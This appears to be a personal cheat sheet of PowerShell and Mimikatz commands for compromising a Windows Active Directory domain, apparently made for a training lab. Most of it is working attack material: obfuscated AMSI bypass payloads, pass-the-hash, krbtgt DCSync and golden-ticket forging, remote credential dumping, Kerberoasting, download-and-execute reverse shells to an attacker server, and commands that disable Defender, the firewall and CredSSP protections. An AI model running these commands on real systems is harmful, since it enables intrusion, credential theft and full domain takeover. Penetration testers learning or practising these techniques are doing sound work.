Windows Active Directory

choichoichoi

Powerview -
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

Active Directory Powershell Module - https://github.com/samratashok/ADModule

Powerup - https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

Confirm admin access. If it's true, that means our current domain USER has an Local Administrator Access to the server which the DA currently has a session in.

```
Invoke-UserHunter -CheckAccess
Find-LocalAdminAccess -Verbose
Invoke-EnumerateLocalAdmin -Verbose
```

< Google search for PSEXEC, PTH for lateral movement >

Importing Powershell Modules

```
Import-Module <modulePath>
# List all commands in a module
Get-Command -Module <module_name>

. ./<module>
```

AMSI Bypass Payload → Google for recipe for root amsi bypass sET-ItEM

```
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](
"{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL
)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}"
-f'Util','A','Amsi','.Management.','utomation.','s','System' )
)."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),(
"{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(
${n`ULl},${t`RuE} )
```

```
[Ref].Assembly.GetType('http://System.Management
.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetVa
lue($null,$true)
```

Pass The Hash

```
mimikatz.exe
privilege::debug
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm_hash>
Invoke-Mimikatz -Command ‘“Lsadump::lsa /patch”’
Invoke-Mimikatz -Command ‘“lsadump::dcsync /user:<domain>\krbtgt
Invoke-Mimikatz -Command ‘“kerberos::golden /User:Administrator
/domain:<domain> /sid:<sid> /groups:<group> /startoffset:0 /endin:600
/renewmax:10080 /ptt”’
<open up a new cmd/powershell>
```

Over Pass the hash

```
Invoke-Mimikatz -Command '"sekurlsa::pth /User:svcadmin /domain:<domain>
/ntlm:<ntlm> /run:powershell.exe"'
```

PSSession

```
New-PSSession
Enter-PSSession
Enter-PSSession -ComputerName <FQDN>

# Stateful session
$sess = New-PSSession -ComputerName <FQDN>
Enter-PSSession -Session $sess
```

 # Create New Session

```
$sess = New-PSSession -ComputerName <FQDN>
```

 # Bring Mimikatz to memory of the session

```
Invoke-Command -FilePath <path_to_mimikatz> -Session $sess
```

 # Inject local script (like mimikatz) into remote Session

```
Invoke-Command -FilePath <local_ps1> -Session $sess
```

Reverse Shell Through RCE

```
powershell iex (New-Object
Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.
```

```
ps1');Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <PORT>

powershell.exe iex (iwr http://172.16.100.43/Invoke-PowerShellTcp.ps1
-UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.43
-Port 443

powershell iex (iwr
http://172.16.100.43/Invoke-PowerShellTcp.ps1);Invoke-PowerShellTcp
-Reverse -IPAddress 172.16.100.43 -Port 443
```

Inject remote powershell module into the current powershell session

```
iex (iwr http://<ipaddr>/<file> -UseBasicParsing)
powershell.exe iex (New-Object
Net.WebClient).DownloadString('http://<ip>/<file>')
```

Turn off Defender - Make sure to re-enable it after engagement

```
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableRealtimeMonitoring $true
```

Turn off Firewall → Need Administrator privilege

```
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
```

Allow RDP

```
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal
Server'-name "fDenyTSConnections" -Value 0
```

Copy File from attacker to Target machine - Disable Windows DEFENDER!

```
Copy-Item <file_name> \\<FQDN>\C$\<file_path>
```

Download File inside powershell session

```
powershell iex (New-Object
Net.WebClient).DownloadFile('http://<ipaddr>/<file>','<local_file_path>')
```

Mimikatz

```
# Dump Credentials
Invoke-Mimikatz -DumpCreds

# Dump credentials on multiple remote machines
Invoke-Mimikatz -DumpCreds -ComputerName @("<FQDN>", "<FQDN>")

# "Pass the Hash"
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator
/domain:<domain> /ntlm:<ntlmhash> /run:powershell.exe"'
```

Domain Privilege Escalation

- Kerberoast
- (Un)constrained Delegation

Kerberoast Procedure

1. Find User account used as Service Account
2. Request TGS from that “user account”
3. Save the TGS to disk
4. Bruteforce the TGS

 # 1. Find user account used as Service account

```
# Look for ServicePrincipalName that is NOT null
Get-NetUser -SPN
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties
ServicePrincipalName
```

svcadmin = Domain Admin

 # 2. Request TGS

```
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
-ArgumentList "MSSQLSvc/<domain>"

# PowerView
```

```
Request-SPNTicket
```

 # 3. Save TGS to disk

```
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

 # 4. Crack with john/hashcat/tgsrepcrack

```
Python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\<TGS_File>
```

RDP Trouble Shooting

DO NOT use in real world penetration testing. It will change client's machine setting too much.

Turn off Firewall → Need Administrator privilege

```
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
```

Turn off Defender

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

Allow RDP

```
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal
Server'-name "fDenyTSConnections" -Value 0
```

Add CredSSP to both the server and the client

```
REG ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Para
meters /v AllowEncryptionOracle /t REG_DWORD /d 2
```

Add corresponding users to Remote Desktop User group

```
net localgroup 'Remote Desktop Users' /add 'dcorp\Domain Admins'
```